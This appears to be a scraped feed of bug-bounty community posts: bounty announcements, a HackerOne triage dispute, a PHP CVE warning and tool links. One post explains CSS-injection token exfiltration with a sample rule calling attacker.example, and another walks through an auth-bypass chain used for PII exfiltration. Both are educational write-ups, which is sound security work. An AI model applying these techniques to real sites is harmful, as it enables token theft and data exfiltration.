الحمدلله و الشكر لله وحده Yay, I was awarded a $,000 bounty on @Hacker0x01! hackerone.com/iide9x #TogetherWeHitHarder my first 4-digit bounty ever. been waiting for this for months. #BugBounty #Hacking #Cybersec

I started reverse engineering the patch for the critical PHP CVEs live on the @ctbbpodcast Discord, with the goal of building a PoC. The catch is that I can't use AI for anything beyond basic code exploration (basically, a glorified CTRL+F). The amount I've learned about PHP and memory exploitation is INSANE. I'm not saying I wouldn't have learned just as much with AI, but it wouldn't have been nearly as fun. At the end of the day, I tried asking AI some basic questions about the CVE and realized just how much it overcomplicated things. How bad it is at explaining things simply. If I'd started by relying on AI to understand the vulnerability, I might've actually taken longer to get anywhere close to the level of understanding I have now.

gotta give it to @OpenAI and their sane daybreak program heif heist by harsh kvmescape by paulos php2shell by lcfr gitlab rces by joaxcar chrome full chain by moyix wordpress rce by hashkitten all largely thanks to openai daybreak giving researchers access to gpt 5.6 sol.

@Hacker0x01 I need to raise a serious concern about how three of my AT&T reports were handled. This is about inconsistent decisions, different root causes being grouped together, and a critical finding being denied independent evaluation. It started with #3923035, which had already been marked Resolved. I later discovered that the issue remained exploitable and submitted a NEW report, #4089210, documenting incomplete remediation, additional impact, and fresh proof of exploitation. The new report demonstrated confirmed token minting and role elevation, a capability that was not demonstrated in the original report. I followed H1's own guidance that regressions or bypasses of a fix must be submitted as new reports and reference the original. Yet the triager closed #4089210 as a duplicate and said: "AT&T usually requests a retest for submissions, I see that didn't happen with #3923035. Please report insufficient mitigation within the original report." How is that a reasonable basis for closing it? Whether AT&T requested a retest was outside my control. The original report had already been marked Resolved, and I followed the stated procedure by submitting a new report with fresh evidence. What happened next makes this even more confusing: the triager reopened #3923035, changed its status from Resolved back to Triaged, and instructed me to put the contents of the new report into the original. How can a new report demonstrating additional capabilities be closed as a duplicate, only for the already-resolved report to be reopened and moved back to Triaged to absorb those findings? Why instruct researchers to submit regressions as new reports if following that procedure results in the new report being closed and its contents moved into the original? Two other reports were also closed as duplicates with the instruction: "Please keep these contained in the same report." These reports have different root causes and separate technical evidence. To be clear, I'm not arguing that every affected endpoint deserves a separate report. I'm arguing that findings with genuinely different root causes should not be classified as duplicates without evaluating their technical differences and independent impact. I have submitted three mediation requests seeking a fair and independent review of these decisions: • #681596 • #681806 • #681807 I'm asking @Hacker0x01 to review all three closures, examine the technical basis for each duplicate classification, and reopen the reports where the evidence supports independent findings. I respect the triage process, but researchers also deserve consistent decisions and technically justified explanations. I trust @Hacker0x01 to review these cases fairly. I'm not asking for special treatment. I'm asking for a fair, independent review based on the evidence and the procedures HackerOne has communicated.

To teach a lesson, After Wiz rushed to buy php2shell domain and use its marketing machine to steal the spotlight, I spotted "phpbleed" in a recent Calif tweet and bought phpbleed.com before wiz could pull the same stunt again. A big budget can buy a domain. It shouldn't buy someone else's research credit. If you have contacts at CISA or in the press, do the right thing: make sure the researchers who actually did the work get the recognition they deserve. Hack the planet. Credit the researchers.

🔥🔥

botnet owners tomorrow go brrrrr

🚨 PHP warns of two critical vulnerabilities as emergency patches arrive tomorrow The PHP security team will release updates on October 21 at 14:00 UTC for two vulnerabilities, each rated 9.2 under CVSS v4.0. ⠀ Security researchers identified the flaws as CVE-2026-109618 and CVE-2026-109619 and described them as remote code execution vulnerabilities reportedly affecting PHP versions 5 through 8. PHP has not yet confirmed the affected versions, exploitation requirements or fixed releases. ⠀ The vulnerabilities were reportedly leaked before their planned disclosure. Researchers said they have not observed active exploitation, while PHP warned it may release the patches early if technical details become public or exploitation is detected. ⠀ Administrators should identify PHP installations now and prepare to apply the updates as soon as they become available.

You can now perform content discovery at 100k requests per second with h3fuzz on http/3 hosts (fork of ffuf with http/3 support). Tool here: github.com/assetnote/h3fuzz Research post here: slcyber.io/research/how-prac…

I hate you @PaulosYibelo 🥲 All my VPSs have been restarted Now I need to re run the workflow from the beginning CVE-2026-99999

How it feels skipping triage when a program manager grabs the report

RCE in Discord 👀 bugcrowd.com/disclosures/638…

And plz plz plz. Realise its ok to kill 99% of what AI reports as a finding

The details of the long awaited KVM Escape are published. PwnEscape leads to VM escapes across multiple hypervisors due to a super cool Linux networking bug. CVE-2026-99999 is a 9.3 CVSS critical rated KVM escape ⛓️ pwn.ai/blog/pwnescape

Pray for a crit -> Find it -> Pray it’s not a dupe-> Not a dupe->Pray for good payout😅

Alex Craig (@Alex_______C) at @PortSwigger demonstrated how to steal secret tokens up to 640 characters long using only CSS. No JavaScript required. The technique comes down to 3 things: - CSS injection: Attribute selectors can check whether specific character sequences exist in an HTML element. - Exfiltration: Matching CSS rules trigger requests to an attacker-controlled server. - Graph reconstruction: Overlapping fragments can be stitched together to reconstruct secret tokens. Here's how it works: 1. Leak token fragments Imagine a page contains: `<a href="/reset?token=c2e16a1781ed">` An attacker who can inject CSS adds rules like: ```css a[href*="c2e"] { background: url("https://attacker.example/?chunk=c2e"); } ``` If the `href` contains `c2e`, the browser requests the attacker's URL, revealing that the fragment exists. Thousands of similar rules test different character combinations. 2. Reconstruct the secret The attacker collects matching fragments: `c2e → 2e1 → e16 → 16a` Each fragment overlaps the next by two characters. Using graph theory, the attacker can stitch these pieces together to reconstruct the token: `c2e16a...` Longer fragment checks help eliminate false matches. 3. Scale the attack This is where the research gets interesting. The original technique required roughly 258 MB of CSS to recover a 12-character token. Alex Craig reduced that to: - 223 KB: Narrow a 12-character token to five or fewer candidates in 96% of tests. - 1.33 MB: Uniquely reconstruct a 12-character token in 99% of tests. - 257 MB: Uniquely reconstruct 210-character tokens in 99% of tests, or narrow 640-character tokens to five or fewer candidates in over 90%. All without executing JavaScript. #BugBounty tip: Don't dismiss CSS injection as a harmless styling issue. If injected CSS can inspect sensitive HTML attributes and trigger external requests, it can become a powerful data exfiltration channel. Sometimes you don't need to read a secret directly. You just need enough overlapping pieces to reconstruct it. Full research by Alex Craig (@Alex_______C), building on Gareth Hayes' (@garethheyes) earlier work 👇 portswigger.net/research/sma…

I found a critical auth bypass that resulted in a $10K bounty due to mass PII exfiltration. Here’s the technique: The endpoint had 3 checks: 1. JWT auth at the gateway 2. Backend path validation 3. A trusted-client header check The bypass came from defeating each one differently. 1. JWT check Normal request: `GET /api/employee/12345` → `401` But paths ending in `.json` were treated as static resources and skipped JWT auth: `GET /api/employee/12345.json` → Auth check bypassed 2. Path validation Problem: The backend still needed a clean employee ID. Payload: `GET /api/employee/12345%23.json` The gateway saw a `.json` path. After decoding: `12345#.json` The downstream parser truncated at `#`, leaving: `12345` Same request, but different interpretation at each layer. 3. Trusted-client check The endpoint also expected a client header: `X-CLIENT-ID: WEBAPP` Without it: → `400` With it: → Request accepted So the final chain was: `.json` → bypass gateway auth `%23` → preserve a valid backend ID Client header → satisfy the final gate #BugBounty tip: When multiple layers handle the same request, map every security check and test whether the gateway, proxy, and backend interpret the URL differently.

Everyone has access to the same stuff, but not everyone knows how to use them differently. We get into it with @fransrosen in episode 195! piped.video/1Fql8oQ1Zbs

I’m this old.

Whoever created this, huge respect. webhacklist.com/